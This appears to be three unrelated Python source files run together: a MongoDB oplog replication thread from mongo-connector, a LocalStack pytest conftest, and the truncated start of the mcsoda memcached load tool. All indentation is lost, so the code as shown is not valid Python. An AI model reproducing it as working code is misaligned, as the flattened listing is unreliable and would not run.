# The dict of source namespaces to destination namespaces
self.dest_mapping = kwargs.get('dest_mapping', {})
# Whether the collection dump gracefully handles exceptions
self.continue_on_error = kwargs.get('continue_on_error', False)
# Set of fields to export
self._exclude_fields = set([])
self.fields = kwargs.get('fields', None)
if kwargs.get('exclude_fields', None):
self.exclude_fields = kwargs['exclude_fields']
# Set of regex fields to filter
self._regex_exclude_fields = set([])
if kwargs.get('regex_exclude_fields', None):
self._regex_exclude_fields = kwargs['regex_exclude_fields']
LOG.info('OplogThread: Initializing oplog thread')
self.oplog = self.primary_client.local.oplog.rs
self.replset_name = (
self.primary_client.admin.command('ismaster')['setName'])
if not self.oplog.find_one():
err_msg = 'OplogThread: No oplog for thread:'
LOG.warning('%s %s' % (err_msg, self.primary_connection))
@property
def fields(self):
if self._fields:
return list(self._fields)
return None
@property
def exclude_fields(self):
if self._exclude_fields:
return list(self._exclude_fields)
return None
@property
def regex_exclude_fields(self):
if self._regex_exclude_fields:
return list(self._regex_exclude_fields)
return None
@fields.setter
def fields(self, value):
if self._exclude_fields:
raise errors.InvalidConfiguration(
"Cannot set 'fields' when 'exclude_fields' has already "
"been set to non-empty list.")
if value:
self._fields = set(value)
# Always include _id field
self._fields.add('_id')
self._projection = dict((field, 1) for field in self._fields)
else:
self._fields = set([])
self._projection = None
@exclude_fields.setter
def regex_exclude_fields(self, value):
if value:
self._regex_exclude_fields = set(value)
else:
self._regex_exclude_fields = set([])
@exclude_fields.setter
def exclude_fields(self, value):
if self._fields:
raise errors.InvalidConfiguration(
"Cannot set 'exclude_fields' when 'fields' has already "
"been set to non-empty list.")
if value:
self._exclude_fields = set(value)
if '_id' in value:
LOG.warning("OplogThread: Cannot exclude '_id' field, "
"ignoring")
self._exclude_fields.remove('_id')
if not self._exclude_fields:
self._projection = None
else:
self._projection = dict(
(field, 0) for field in self._exclude_fields)
else:
self._exclude_fields = set([])
self._projection = None
@property
def namespace_set(self):
return self._namespace_set
@namespace_set.setter
def namespace_set(self, namespace_set):
self._namespace_set = namespace_set
self.update_oplog_ns_set()
@property
def gridfs_set(self):
return self._gridfs_set
@gridfs_set.setter
def gridfs_set(self, gridfs_set):
self._gridfs_set = gridfs_set
self._gridfs_files_set = [ns + '.files' for ns in gridfs_set]
self.update_oplog_ns_set()
@property
def gridfs_files_set(self):
try:
return self._gridfs_files_set
except AttributeError:
return []
@property
def oplog_ns_set(self):
try:
return self._oplog_ns_set
except AttributeError:
return []
def update_oplog_ns_set(self):
self._oplog_ns_set = []
if self.namespace_set:
self._oplog_ns_set.extend(self.namespace_set)
self._oplog_ns_set.extend(self.gridfs_files_set)
self._oplog_ns_set.extend(set(
ns.split('.', 1)[0] + '.$cmd' for ns in self.namespace_set))
self._oplog_ns_set.append("admin.$cmd")
@log_fatal_exceptions
def run(self):
"""Start the oplog worker.
"""
LOG.debug("OplogThread: Run thread started")
while self.running is True:
LOG.debug("OplogThread: Getting cursor")
cursor, cursor_empty = self.init_cursor()
# we've fallen too far behind
if cursor is None and self.checkpoint is not None:
err_msg = "OplogThread: Last entry no longer in oplog"
effect = "cannot recover!"
LOG.error('%s %s %s' % (err_msg, effect, self.oplog))
self.running = False
continue
if cursor_empty:
LOG.debug("OplogThread: Last entry is the one we "
"already processed. Up to date. Sleeping.")
time.sleep(1)
continue
last_ts = None
remove_inc = 0
upsert_inc = 0
update_inc = 0
try:
LOG.debug("OplogThread: about to process new oplog "
"entries")
while cursor.alive and self.running:
LOG.debug("OplogThread: Cursor is still"
" alive and thread is still running.")
for n, entry in enumerate(cursor):
LOG.debug("OplogThread: Iterating through cursor,"
" document number in this cursor is %d"
% n)
# Break out if this thread should stop
if not self.running:
break
# Don't replicate entries resulting from chunk moves
if entry.get("fromMigrate"):
continue
# Take fields out of the oplog entry that
# shouldn't be replicated. This may nullify
# the document if there's nothing to do.
if not self.filter_oplog_entry(entry):
continue
# Sync the current oplog operation
operation = entry['op']
ns = entry['ns']
if '.' not in ns:
continue
coll = ns.split('.', 1)[1]
# Ignore system collections
if coll.startswith("system."):
continue
# Ignore GridFS chunks
if coll.endswith('.chunks'):
continue
is_gridfs_file = False
if coll.endswith(".files"):
if ns in self.gridfs_files_set:
ns = ns[:-len(".files")]
is_gridfs_file = True
else:
continue
# use namespace mapping if one exists
ns = self.dest_mapping.get(ns, ns)
timestamp = util.bson_ts_to_long(entry['ts'])
for docman in self.doc_managers:
try:
LOG.debug("OplogThread: Operation for this "
"entry is %s" % str(operation))
# Remove
if operation == 'd':
docman.remove(
entry['o']['_id'], ns, timestamp)
remove_inc += 1
# Insert
elif operation == 'i': # Insert
# Retrieve inserted document from
# 'o' field in oplog record
doc = entry.get('o')
# Extract timestamp and namespace
if is_gridfs_file:
db, coll = ns.split('.', 1)
gridfile = GridFSFile(
self.primary_client[db][coll],
doc)
docman.insert_file(
gridfile, ns, timestamp)
else:
docman.upsert(doc, ns, timestamp)
upsert_inc += 1
# Update
elif operation == 'u':
docman.update(entry['o2']['_id'],
entry['o'],
ns, timestamp)
update_inc += 1
# Command
elif operation == 'c':
# use unmapped namespace
doc = entry.get('o')
docman.handle_command(doc,
entry['ns'],
timestamp)
except errors.OperationFailed:
LOG.exception(
"Unable to process oplog document %r"
% entry)
except errors.ConnectionFailed:
LOG.exception(
"Connection failed while processing oplog "
"document %r" % entry)
if (remove_inc + upsert_inc + update_inc) % 1000 == 0:
LOG.debug(
"OplogThread: Documents removed: %d, "
"inserted: %d, updated: %d so far" % (
remove_inc, upsert_inc, update_inc))
LOG.debug("OplogThread: Doc is processed.")
last_ts = entry['ts']
# update timestamp per batch size
# n % -1 (default for self.batch_size) == 0 for all n
if n % self.batch_size == 1 and last_ts is not None:
self.checkpoint = last_ts
self.update_checkpoint()
# update timestamp after running through oplog
if last_ts is not None:
LOG.debug("OplogThread: updating checkpoint after"
"processing new oplog entries")
self.checkpoint = last_ts
self.update_checkpoint()
except (pymongo.errors.AutoReconnect,
pymongo.errors.OperationFailure,
pymongo.errors.ConfigurationError):
LOG.exception(
"Cursor closed due to an exception. "
"Will attempt to reconnect.")
# update timestamp before attempting to reconnect to MongoDB,
# after being join()'ed, or if the cursor closes
if last_ts is not None:
LOG.debug("OplogThread: updating checkpoint after an "
"Exception, cursor closing, or join() on this"
"thread.")
self.checkpoint = last_ts
self.update_checkpoint()
LOG.debug("OplogThread: Sleeping. Documents removed: %d, "
"upserted: %d, updated: %d"
% (remove_inc, upsert_inc, update_inc))
time.sleep(2)
def join(self):
"""Stop this thread from managing the oplog.
"""
LOG.debug("OplogThread: exiting due to join call.")
self.running = False
threading.Thread.join(self)
def _pop_regex_excluded_fields(self, c):
for key in c.keys():
for regex in self._regex_exclude_fields:
if re.match(regex, key):
del c[key]
if key in c and isinstance(c[key], dict):
self._pop_regex_excluded_fields(c[key])
def _pop_excluded_fields(self, doc):
# Remove all the fields that were passed in exclude_fields.
LOG.debug("OplogThread: _pop_excluded_fields");
for field in self._exclude_fields:
curr_doc = doc
dots = field.split('.')
remove_up_to = curr_doc
end = dots[0]
for part in dots:
if not isinstance(curr_doc, dict) or part not in curr_doc:
break
elif len(curr_doc) != 1:
remove_up_to = curr_doc
end = part
curr_doc = curr_doc[part]
else:
remove_up_to.pop(end)
self._pop_regex_excluded_fields(doc)
return doc # Need this to be similar to copy_included_fields.
def _copy_included_fields(self, doc):
# Copy over included fields to new doc
new_doc = {}
for field in self.fields:
dots = field.split('.')
curr_doc = doc
for part in dots:
if part not in curr_doc:
break
else:
curr_doc = curr_doc[part]
else:
# If we found the field in the original document, copy it
edit_doc = new_doc
for part in dots[:-1]:
edit_doc = edit_doc.setdefault(part, {})
edit_doc[dots[-1]] = curr_doc
self._pop_regex_excluded_fields(new_doc)
return new_doc
def filter_oplog_entry(self, entry):
"""Remove fields from an oplog entry that should not be replicated.
NOTE: this does not support array indexing, for example 'a.b.2'"""
if not self._fields and not self._exclude_fields:
return entry
elif self._fields:
filter_fields = self._copy_included_fields
else:
filter_fields = self._pop_excluded_fields
entry_o = entry['o']
# 'i' indicates an insert. 'o' field is the doc to be inserted.
if entry['op'] == 'i':
entry['o'] = filter_fields(entry_o)
# 'u' indicates an update. The 'o' field describes an update spec
# if '$set' or '$unset' are present.
elif entry['op'] == 'u' and ('$set' in entry_o or '$unset' in entry_o):
if '$set' in entry_o:
entry['o']["$set"] = filter_fields(entry_o["$set"])
if '$unset' in entry_o:
entry['o']["$unset"] = filter_fields(entry_o["$unset"])
# not allowed to have empty $set/$unset, so remove if empty
if "$set" in entry_o and not entry_o['$set']:
entry_o.pop("$set")
if "$unset" in entry_o and not entry_o['$unset']:
entry_o.pop("$unset")
if not entry_o:
return None
# 'u' indicates an update. The 'o' field is the replacement document
# if no '$set' or '$unset' are present.
elif entry['op'] == 'u':
entry['o'] = filter_fields(entry_o)
return entry
def get_oplog_cursor(self, timestamp=None):
"""Get a cursor to the oplog after the given timestamp, filtering
entries not in the namespace set.
If no timestamp is specified, returns a cursor to the entire oplog.
"""
query = {}
if self.oplog_ns_set:
query['ns'] = {'$in': self.oplog_ns_set}
if timestamp is None:
cursor = self.oplog.find(
query,
cursor_type=CursorType.TAILABLE_AWAIT)
else:
query['ts'] = {'$gte': timestamp}
cursor = self.oplog.find(
query,
cursor_type=CursorType.TAILABLE_AWAIT)
# Applying 8 as the mask to the cursor enables OplogReplay
cursor.add_option(8)
return cursor
def update_excluded_fields(self, e):
excluded_fields = self.exclude_fields if self.exclude_fields else []
found_field = set()
for error in e.errors:
error_message = error.get('index', {}).get('error', {}).get('reason', '')
fields = REGEX_BROKEN_FIELD.findall(error_message)
for field in fields:
if field not in (found_field, excluded_fields):
found_field.add(field)
excluded_fields.append(field)
self.exclude_fields = excluded_fields
def dump_collection(self):
"""Dumps collection into the target system.
This method is called when we're initializing the cursor and have no
configs i.e. when we're starting for the first time.
"""
timestamp = util.retry_until_ok(self.get_last_oplog_timestamp)
if timestamp is None:
return None
long_ts = util.bson_ts_to_long(timestamp)
dump_set = self.namespace_set or []
LOG.debug("OplogThread: Dumping set of collections %s " % dump_set)
# No namespaces specified
if not self.namespace_set:
db_list = retry_until_ok(self.primary_client.database_names)
for database in db_list:
if database == "config" or database == "local":
continue
coll_list = retry_until_ok(
self.primary_client[database].collection_names)
for coll in coll_list:
# ignore system collections
if coll.startswith("system."):
continue
# ignore gridfs collections
if coll.endswith(".files") or coll.endswith(".chunks"):
continue
namespace = "%s.%s" % (database, coll)
dump_set.append(namespace)
def docs_to_dump(namespace):
database, coll = namespace.split('.', 1)
last_id = None
attempts = 0
# Loop to handle possible AutoReconnect
while attempts < 60:
target_coll = self.primary_client[database][coll]
if not last_id:
cursor = util.retry_until_ok(
target_coll.find,
projection=self._projection,
sort=[("_id", pymongo.ASCENDING)]
)
else:
cursor = util.retry_until_ok(
target_coll.find,
{"_id": {"$gt": last_id}},
projection=self._projection,
sort=[("_id", pymongo.ASCENDING)]
)
try:
for doc in cursor:
self._pop_regex_excluded_fields(doc)
if not self.running:
raise StopIteration
last_id = doc["_id"]
yield doc
break
except (pymongo.errors.AutoReconnect,
pymongo.errors.OperationFailure):
attempts += 1
time.sleep(1)
def upsert_each(dm):
num_inserted = 0
num_failed = 0
for namespace in dump_set:
for num, doc in enumerate(docs_to_dump(namespace)):
if num % 10000 == 0:
LOG.debug("Upserted %d docs." % num)
try:
mapped_ns = self.dest_mapping.get(namespace, namespace)
dm.upsert(doc, mapped_ns, long_ts)
num_inserted += 1
except Exception:
if self.continue_on_error:
LOG.exception(
"Could not upsert document: %r" % doc)
num_failed += 1
else:
raise
LOG.debug("Upserted %d docs" % num_inserted)
if num_failed > 0:
LOG.error("Failed to upsert %d docs" % num_failed)
def upsert_all(dm):
try:
for namespace in dump_set:
mapped_ns = self.dest_mapping.get(namespace, namespace)
dm.bulk_upsert(docs_to_dump(namespace), mapped_ns, long_ts)
except BulkIndexError as e:
if self.continue_on_error:
LOG.exception("OplogThread: caught exception"
" during bulk upsert, re-upserting"
" documents in bulk")
self.update_excluded_fields(e)
upsert_all(dm)
else:
raise
except Exception as e:
raise e
def do_dump(dm, error_queue):
try:
# Dump the documents, bulk upsert if possible
if hasattr(dm, "bulk_upsert"):
LOG.debug("OplogThread: Using bulk upsert function for "
"collection dump")
upsert_all(dm)
else:
LOG.debug(
"OplogThread: DocManager %s has no "
"bulk_upsert method. Upserting documents "
"serially for collection dump." % str(dm))
upsert_each(dm)
# Dump GridFS files
for gridfs_ns in self.gridfs_set:
db, coll = gridfs_ns.split('.', 1)
mongo_coll = self.primary_client[db][coll]
dest_ns = self.dest_mapping.get(gridfs_ns, gridfs_ns)
for doc in docs_to_dump(gridfs_ns + '.files'):
gridfile = GridFSFile(mongo_coll, doc)
dm.insert_file(gridfile, dest_ns, long_ts)
except:
# Likely exceptions:
# pymongo.errors.OperationFailure,
# mongo_connector.errors.ConnectionFailed
# mongo_connector.errors.OperationFailed
error_queue.put(sys.exc_info())
# Extra threads (if any) that assist with collection dumps
dumping_threads = []
# Did the dump succeed for all target systems?
dump_success = True
# Holds any exceptions we can't recover from
errors = queue.Queue()
if len(self.doc_managers) == 1:
do_dump(self.doc_managers[0], errors)
else:
# Slight performance gain breaking dump into separate
# threads if > 1 replication target
for dm in self.doc_managers:
t = threading.Thread(target=do_dump, args=(dm, errors))
dumping_threads.append(t)
t.start()
# cleanup
for t in dumping_threads:
t.join()
# Print caught exceptions
try:
while True:
LOG.critical('Exception during collection dump',
exc_info=errors.get_nowait())
dump_success = False
except queue.Empty:
pass
if not dump_success:
err_msg = "OplogThread: Failed during dump collection"
effect = "cannot recover!"
LOG.error('%s %s %s' % (err_msg, effect, self.oplog))
self.running = False
return None
return timestamp
def get_last_oplog_timestamp(self):
"""Return the timestamp of the latest entry in the oplog.
"""
if not self.oplog_ns_set:
curr = self.oplog.find().sort(
'$natural', pymongo.DESCENDING
).limit(-1)
else:
curr = self.oplog.find(
{'ns': {'$in': self.oplog_ns_set}}
).sort('$natural', pymongo.DESCENDING).limit(-1)
try:
ts = next(curr)['ts']
except StopIteration:
return None
LOG.debug("OplogThread: Last oplog entry has timestamp %d."
% ts.time)
return ts
def _cursor_empty(self, cursor):
try:
next(cursor.clone().limit(-1))
return False
except StopIteration:
return True
def init_cursor(self):
"""Position the cursor appropriately.
The cursor is set to either the beginning of the oplog, or
wherever it was last left off.
Returns the cursor and the number of documents left in the cursor.
"""
timestamp = self.read_last_checkpoint()
if timestamp is None:
if self.collection_dump:
# dump collection and update checkpoint
timestamp = self.dump_collection()
if timestamp is None:
return None, True
else:
# Collection dump disabled:
# return cursor to beginning of oplog.
cursor = self.get_oplog_cursor()
self.checkpoint = self.get_last_oplog_timestamp()
self.update_checkpoint()
return cursor, retry_until_ok(self._cursor_empty, cursor)
self.checkpoint = timestamp
self.update_checkpoint()
for i in range(60):
cursor = self.get_oplog_cursor(timestamp)
cursor_empty = retry_until_ok(self._cursor_empty, cursor)
if cursor_empty:
# rollback, update checkpoint, and retry
LOG.debug("OplogThread: Initiating rollback from "
"get_oplog_cursor")
self.checkpoint = self.rollback()
self.update_checkpoint()
return self.init_cursor()
# try to get the first oplog entry
try:
first_oplog_entry = retry_until_ok(next, cursor)
except StopIteration:
# It's possible for the cursor to become invalid
# between the next(cursor) call and now
time.sleep(1)
continue
# first entry should be last oplog entry processed
cursor_ts_long = util.bson_ts_to_long(
first_oplog_entry.get("ts"))
given_ts_long = util.bson_ts_to_long(timestamp)
if cursor_ts_long > given_ts_long:
# first entry in oplog is beyond timestamp
# we've fallen behind
return None, True
# first entry has been consumed
return cursor, cursor_empty
else:
raise errors.MongoConnectorError(
"Could not initialize oplog cursor.")
def update_checkpoint(self):
"""Store the current checkpoint in the oplog progress dictionary.
"""
if self.checkpoint is not None:
with self.oplog_progress as oplog_prog:
oplog_dict = oplog_prog.get_dict()
# If we have the repr of our oplog collection in the dictionary,
# remove it and replace it with our replica set name.
# This allows an easy upgrade path from mongo-connector 2.3.
# For an explanation of the format change, see the comment in
# read_last_checkpoint.
oplog_dict.pop(str(self.oplog), None)
oplog_dict[self.replset_name] = self.checkpoint
LOG.debug("OplogThread: oplog checkpoint updated to %s" %
str(self.checkpoint))
else:
LOG.debug("OplogThread: no checkpoint to update.")
def read_last_checkpoint(self):
"""Read the last checkpoint from the oplog progress dictionary.
"""
# In versions of mongo-connector 2.3 and before, we used the repr of the
# oplog collection as keys in the oplog_progress dictionary.
# In versions thereafter, we use the replica set name. For backwards
# compatibility, we check for both.
oplog_str = str(self.oplog)
ret_val = None
with self.oplog_progress as oplog_prog:
oplog_dict = oplog_prog.get_dict()
try:
# New format.
ret_val = oplog_dict[self.replset_name]
except KeyError:
try:
# Old format.
ret_val = oplog_dict[oplog_str]
except KeyError:
pass
LOG.debug("OplogThread: reading last checkpoint as %s " %
str(ret_val))
return ret_val
def rollback(self):
"""Rollback target system to consistent state.
The strategy is to find the latest timestamp in the target system and
the largest timestamp in the oplog less than the latest target system
timestamp. This defines the rollback window and we just roll these
back until the oplog and target system are in consistent states.
"""
# Find the most recently inserted document in each target system
LOG.debug("OplogThread: Initiating rollback sequence to bring "
"system into a consistent state.")
last_docs = []
for dm in self.doc_managers:
dm.commit()
last_docs.append(dm.get_last_doc())
# Of these documents, which is the most recent?
last_inserted_doc = max(last_docs,
key=lambda x: x["_ts"] if x else float("-inf"))
# Nothing has been replicated. No need to rollback target systems
if last_inserted_doc is None:
return None
# Find the oplog entry that touched the most recent document.
# We'll use this to figure where to pick up the oplog later.
target_ts = util.long_to_bson_ts(last_inserted_doc['_ts'])
last_oplog_entry = util.retry_until_ok(
self.oplog.find_one,
{'ts': {'$lte': target_ts}},
sort=[('$natural', pymongo.DESCENDING)]
)
LOG.debug("OplogThread: last oplog entry is %s"
% str(last_oplog_entry))
# The oplog entry for the most recent document doesn't exist anymore.
# If we've fallen behind in the oplog, this will be caught later
if last_oplog_entry is None:
return None
# rollback_cutoff_ts happened *before* the rollback
rollback_cutoff_ts = last_oplog_entry['ts']
start_ts = util.bson_ts_to_long(rollback_cutoff_ts)
# timestamp of the most recent document on any target system
end_ts = last_inserted_doc['_ts']
for dm in self.doc_managers:
rollback_set = {} # this is a dictionary of ns:list of docs
# group potentially conflicted documents by namespace
for doc in dm.search(start_ts, end_ts):
if doc['ns'] in rollback_set:
rollback_set[doc['ns']].append(doc)
else:
rollback_set[doc['ns']] = [doc]
# retrieve these documents from MongoDB, either updating
# or removing them in each target system
for namespace, doc_list in rollback_set.items():
# Get the original namespace
original_namespace = namespace
for source_name, dest_name in self.dest_mapping.items():
if dest_name == namespace:
original_namespace = source_name
database, coll = original_namespace.split('.', 1)
obj_id = bson.objectid.ObjectId
bson_obj_id_list = [obj_id(doc['_id']) for doc in doc_list]
# Use connection to whole cluster if in sharded environment.
client = self.mongos_client or self.primary_client
to_update = util.retry_until_ok(
client[database][coll].find,
{'_id': {'$in': bson_obj_id_list}},
projection=self._projection
)
# Doc list are docs in target system, to_update are
# Docs in mongo
doc_hash = {} # Hash by _id
for doc in doc_list:
doc_hash[bson.objectid.ObjectId(doc['_id'])] = doc
to_index = []
def collect_existing_docs():
for doc in to_update:
if doc['_id'] in doc_hash:
del doc_hash[doc['_id']]
self._pop_regex_excluded_fields(doc)
to_index.append(doc)
retry_until_ok(collect_existing_docs)
# Delete the inconsistent documents
LOG.debug("OplogThread: Rollback, removing inconsistent "
"docs.")
remov_inc = 0
for document_id in doc_hash:
try:
dm.remove(document_id, namespace,
util.bson_ts_to_long(rollback_cutoff_ts))
remov_inc += 1
LOG.debug(
"OplogThread: Rollback, removed %r " % doc)
except errors.OperationFailed:
LOG.warning(
"Could not delete document during rollback: %r "
"This can happen if this document was already "
"removed by another rollback happening at the "
"same time." % doc
)
LOG.debug("OplogThread: Rollback, removed %d docs." %
remov_inc)
# Insert the ones from mongo
LOG.debug("OplogThread: Rollback, inserting documents "
"from mongo.")
insert_inc = 0
fail_insert_inc = 0
for doc in to_index:
try:
insert_inc += 1
dm.upsert(doc,
self.dest_mapping.get(namespace, namespace),
util.bson_ts_to_long(rollback_cutoff_ts))
except errors.OperationFailed:
fail_insert_inc += 1
LOG.exception("OplogThread: Rollback, Unable to "
"insert %r" % doc)
LOG.debug("OplogThread: Rollback, Successfully inserted %d "
" documents and failed to insert %d"
" documents. Returning a rollback cutoff time of %s "
% (insert_inc, fail_insert_inc, str(rollback_cutoff_ts)))
return rollback_cutoff_ts
|
conftest.py | """
Pytest configuration that spins up a single localstack instance that is shared across test modules.
See: https://docs.pytest.org/en/6.2.x/fixture.html#conftest-py-sharing-fixtures-across-multiple-files
It is thread/process safe to run with pytest-parallel, however not for pytest-xdist.
"""
import logging
import multiprocessing as mp
import os
import threading
import pytest
from localstack import config
from localstack.constants import ENV_INTERNAL_TEST_RUN
from localstack.services import infra
from localstack.utils.analytics.profiler import profiled
from localstack.utils.common import safe_requests
from tests.integration.test_terraform import TestTerraform
logger = logging.getLogger(__name__)
localstack_started = mp.Event() # event indicating whether localstack has been started
localstack_stop = mp.Event() # event that can be triggered to stop localstack
localstack_stopped = mp.Event() # event indicating that localstack has been stopped
startup_monitor_event = mp.Event() # event that can be triggered to start localstack
will_run_terraform_tests = mp.Event() # flag to indicate that terraform should be initialized
@pytest.hookimpl()
def pytest_configure(config):
# first pytest lifecycle hook
_start_monitor()
def pytest_runtestloop(session):
# second pytest lifecycle hook (before test runner starts)
for item in session.items:
# set flag that terraform will be used
if 'terraform' in str(item.parent).lower():
will_run_terraform_tests.set()
break
if not session.items:
return
if session.config.option.collectonly:
return
# trigger localstack startup in startup_monitor and wait until it becomes ready
startup_monitor_event.set()
localstack_started.wait()
@pytest.hookimpl()
def pytest_unconfigure(config):
# last pytest lifecycle hook (before pytest exits)
_trigger_stop()
def _start_monitor():
threading.Thread(target=startup_monitor).start()
def _trigger_stop():
localstack_stop.set()
startup_monitor_event.set()
def startup_monitor() -> None:
"""
The startup monitor is a thread that waits for the startup_monitor_event and, once the event is true, starts a
localstack instance in it's own thread context.
"""
logger.info('waiting on localstack_start signal')
startup_monitor_event.wait()
if localstack_stop.is_set():
# this is called if _trigger_stop() is called before any test has requested the localstack_runtime fixture.
logger.info('ending startup_monitor')
localstack_stopped.set()
return
logger.info('running localstack')
run_localstack()
def run_localstack():
"""
Start localstack and block until it terminates. Terminate localstack by calling _trigger_stop().
"""
# configure
os.environ[ENV_INTERNAL_TEST_RUN] = '1'
safe_requests.verify_ssl = False
config.FORCE_SHUTDOWN = False
def watchdog():
logger.info('waiting stop event')
localstack_stop.wait() # triggered by _trigger_stop()
logger.info('stopping infra')
infra.stop_infra()
def start_profiling(*args):
if not config.USE_PROFILER:
return
@profiled()
def profile_func():
# keep profiler active until tests have finished
localstack_stopped.wait()
print('Start profiling...')
profile_func()
print('Done profiling...')
monitor = threading.Thread(target=watchdog)
monitor.start()
logger.info('starting localstack infrastructure')
infra.start_infra(asynchronous=True)
threading.Thread(target=start_profiling).start()
if will_run_terraform_tests.is_set():
logger.info('running terraform init')
# init terraform binary if necessary
TestTerraform.init_async()
logger.info('waiting for infra to be ready')
infra.INFRA_READY.wait() # wait for infra to start (threading event)
localstack_started.set() # set conftest inter-process Event
logger.info('waiting for shutdown')
try:
logger.info('waiting for watchdog to join')
monitor.join()
finally:
logger.info('ok bye')
localstack_stopped.set()
@pytest.fixture(scope='session', autouse=True)
def localstack_runtime():
"""
This is a dummy fixture. Each test requests the fixture, but it actually just makes sure that localstack is running,
blocks until localstack is running, or starts localstack the first time the fixture is requested.
It doesn't actually do anything but signal to the `startup_monitor` function.
"""
if localstack_started.is_set():
# called by all tests after the startup has completed and the initial tests are unblocked
yield
return
startup_monitor_event.set()
localstack_started.wait()
yield
return
|
mcsoda.py | #!/usr/bin/env python
import re
import sys
import math
import time
import socket
import string
import struct
import random
import threading
import multiprocessing
import Queue
import logging
import logging.config
from collections import deque
from hashlib import md5
import json
import inspect
sys.path.extend(('.', 'lib'))
from lib import crc32
from lib import mc_bin_client
from lib.membase.api.rest_client import RestConnection
from lib.membase.api.exception import QueryViewException, \
ServerUnavailableException
from lib.memcacheConstants import REQ_MAGIC_BYTE, RES_MAGIC_BYTE, \
ERR_NOT_MY_VBUCKET, ERR_ENOMEM, ERR_EBUSY, ERR_ETMPFAIL, REQ_PKT_FMT, \
RES_PKT_FMT, MIN_RECV_PACKET, SET_PKT_FMT, CMD_GET, CMD_SET, CMD_DELETE, \
CMD_ADD, CMD_REPLACE, CMD_PREPEND, CMD_APPEND # "ARPA"
from lib.perf_engines.libobserve.obs_mcsoda import McsodaObserver
from lib.perf_engines.libobserve.obs import Observable
from lib.perf_engines.libobserve.obs_helper import UnblockingJoinableQueue
logging.config.fileConfig("mcsoda.logging.conf")
log = logging.getLogger()
LARGE_PRIME = 9576890767
OPAQUE_MAX = 4294967295
INT_TYPE = type(123)
FLOAT_TYPE = type(0.1)
DICT_TYPE = type({})
RETRIES = 5
class Stack(object):
"""
Not a traditional stack:
If stack is full, append() removes an item from the bottom
If rotate flag is on,
pop() rotates the queue rather than removes an item from the top
"""
def __init__(self, size, rotate=False):
self.size = size
self.rotate = rotate
self.deq = deque()
def __repr__(self):
return "Stack(size=%r, rotate=%r, deq=%r" \
% (self.size, self.rotate, self.deq)
def pop(self):
if self.size <= 0:
log.error("unable to pop item from Stack: invalid size %s"
% self.size)
return None
try:
if self.rotate:
ret = self.deq[-1]
self.deq.rotate(1)
return ret
else:
return self.deq.pop()
except IndexError:
return None
def append(self, val):
if self.size <= 0:
log.error("unable to append item to Stack: invalid size %s"
% self.size)
return
while len(self.deq) >= self.size:
self.deq.popleft()
self.deq.append(val)
def clear(self):
num_cleared = len(self.deq)
self.deq.clear()
log.info("cleared %d items from hot stack" % num_cleared)
def dict_to_s(d, level="", res=None, suffix=", ", ljust=None):
res = res or []
return ''.join(dict_to_s_inner(d, level, res, suffix, ljust))
def dict_to_s_inner(d, level, res, suffix, ljust):
dtype = DICT_TYPE
scalars = []
complex = []
for key in d.keys():
if type(d[key]) == dtype:
complex.append(key)
else:
scalars.append(key)
scalars.sort()
complex.sort()
# Special case for histogram output.
histo_max = 0
histo_sum = 0
if scalars and not complex and \
type(scalars[0]) == FLOAT_TYPE and type(d[scalars[0]]) == INT_TYPE:
for key in scalars:
v = d[key]
histo_max = max(v, histo_max)
histo_sum = histo_sum + v
histo_cur = 0 # Running total for histogram output.
for key in scalars:
if type(key) == FLOAT_TYPE:
k = re.sub("0*$", "", "%.7f" % key)
else:
k = str(key)
if ljust:
k = string.ljust(k, ljust)
x = d[key]
if histo_max:
histo_cur = histo_cur + x
v = str(x)
if histo_max:
v = string.rjust(v, 8) + " " + \
string.rjust("{0:.1%}".format(histo_cur / float(histo_sum)), 8) + " " + \
("*" * int(math.ceil(50.0 * d[key] / histo_max)))
res.append(level + k + ": " + v + suffix)
# Recurse for nested, dictionary values.
if complex:
res.append("\n")
for key in complex:
res.append(level + str(key) + ":\n")
dict_to_s_inner(d[key], level + " ", res, "\n", 9)
return res
# The histo dict is returned by add_timing_sample().
# The percentiles must be sorted, ascending, like [0.90, 0.99].
def histo_percentile(histo, percentiles):
v_sum = 0
bins = histo.keys()
bins.sort()
for bin in bins:
v_sum += histo[bin]
v_sum = float(v_sum)
v_cur = 0 # Running total.
rv = []
for bin in bins:
if not percentiles:
return rv
v_cur += histo[bin]
while percentiles and (v_cur / v_sum) >= percentiles[0]:
rv.append((percentiles[0], bin))
percentiles.pop(0)
return rv
# --------------------------------------------------------
MIN_VALUE_SIZE = [10]
def obs_cb(store):
"""
callback for observe thread.
"""
if not store:
log.error("obs_cb is broken")
return
log.info("obs_cb: clear obs_key_cas %s" % store.obs_key_cas)
store.obs_key_cas.clear()
def woq_worker(req_queue, stats_queue, ctl, cfg, store):
"""
measure latencies of standard write/observe/query patterns
"""
bucket = "default"
ddoc = "A"
view = "city1" # TODO pass from eperf
query_params = {"limit": 10,
"stale": "false"}
log.info("woq_worker started")
woq_observer = McsodaObserver(ctl, cfg, store, None)
while True:
key, cas = req_queue.get(block=True)
start_time = time.time() # latency includes observe and query time
# observe
if not woq_observer.block_for_persistence(key, cas):
# put an invalid object to indicate error
stats_queue.put([key, cas, 0, 0, 0, 0], block=True)
req_queue.task_done()
continue
obs_latency = time.time() - start_time
if cfg.get("woq-verbose", 0):
log.info("woq_worker obs latency: %s, key = %s, cas = %s "
% (obs_latency, key, cas))
query_start = time.time()
try:
result = store.rest.query_view(ddoc, view, bucket, query_params)
except QueryViewException as e:
log.error("woq_worker QueryViewException: %s" % e)
stats_queue.put([key, cas, 0, 0, 0, 0], block=True)
req_queue.task_done()
continue
query_latency = time.time() - query_start
if cfg.get("woq-verbose", 0):
log.info("woq_worker query latency: %s, key = %s, cas = %s "
% (query_latency, key, cas))
log.info("woq_worker query result: %s" % result)
latency = time.time() - start_time
stats_queue.put([key, cas, start_time, obs_latency, query_latency, latency],
block=True)
req_queue.task_done()
log.info("woq_worker stopped working")
def cor_worker(stats_queue, ctl, cfg, cur, store):
"""
Sequentially measure latencies of create/observe_replications patterns
Create brand new items instead of reusing the foreground mcsoda load
"""
OP_WIN = 1 # ensure foreground load to dominate the traffic
backoff = 0
key_num = OPAQUE_MAX - cur.get('cur-gets', 0)
store.cfg["cor"] = 1
store.cfg["batch"] = 1
persist = (int(cfg.get('cor-persist', 0)) == 1)
if isinstance(store, StoreMembaseBinary):
store.awareness.reset()
else:
log.error("cannot start cor_worker: invalid store %s" % store)
return
log.info("cor_worker started")
observer = McsodaObserver(ctl, cfg, store, None)
while True:
if backoff:
log.info("cor_worker sleep for %s seconds" % backoff)
time.sleep(backoff)
backoff = 0
start_time = time.time()
key_num -= 1
key_str = prepare_key(key_num, cfg.get('prefix', ''))
data = store.gen_doc(
